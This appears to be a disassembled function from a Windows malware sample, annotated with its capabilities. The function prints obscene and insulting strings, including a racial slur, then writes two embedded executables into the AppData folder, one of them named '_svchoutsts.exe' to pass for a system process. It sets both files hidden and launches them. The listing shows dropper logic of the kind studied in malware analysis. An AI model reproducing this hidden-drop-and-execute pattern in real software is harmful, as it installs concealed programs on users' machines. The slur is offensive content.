Function at 0x402333
Capabilities:
Create process on windows
Create process suspended
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x403277
push 0x423ee8
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Nik_zbi
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Hi_mother_fuckers_what_are_you_looking_for_here___just_go_fuck_ur_self
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Nik_mok_elkahba
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.You_will_improve_your_reading_comprehension_and_develop_your_vocabulary_on_a_diverse_range_of_international_events__celebrations_and_topics._Each_article_has_interactive_exercises_to_help_you_understand_and_use_the_language
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.A_pointer_to_the_base_address_in_the_specified_process_from_which_to_read._Before_any_data_transfer_occurs__the_system_verifies_that_all_data_in_the_base_address_and_memory_of_the_specified_size_is_accessible_for_read_access__and_if_it_is_not_accessible_the_function_fails.
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.A_pointer_to_a_variable_that_receives_the_number_of_bytes_transferred_into_the_specified_buffer._If_lpNumberOfBytesRead_is_NULL__the_parameter_is_ignored.
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Hi_nigga
push 0xa3eb98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
nop
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x4025bf
push str._svchoutsts.exe
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00402679
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.004032a5
add esp, 0xc
lea ecx, [ebp - 0x2ac]
call fcn.0040265e
nop
push str.Checker.exe
lea ecx, [ebp - 0x224]
call fcn.00402679
push 0x4a400
push 0x427ac8
lea eax, [ebp - 0x23c]
push eax
call fcn.004022aa
add esp, 0xc
push 0x5cc800
push 0x471ec8
lea eax, [ebp - 0x224]
push eax
call fcn.004022aa
add esp, 0xc
push 2
lea ecx, [ebp - 0x23c]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 2
lea ecx, [ebp - 0x224]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x280], 0x44
push 0x40
push 0
lea eax, [ebp - 0x27c]
push eax
call fcn.00408260
add esp, 0xc
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x23c]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402551
push dword [ebp - 0x290]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x224]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40259c
push dword [ebp - 0x290]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
and dword [ebp - 0x294], 0
lea ecx, [ebp - 0x224]
call fcn.0040265e
lea ecx, [ebp - 0x23c]
call fcn.0040265e
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406931
leave
ret 0x10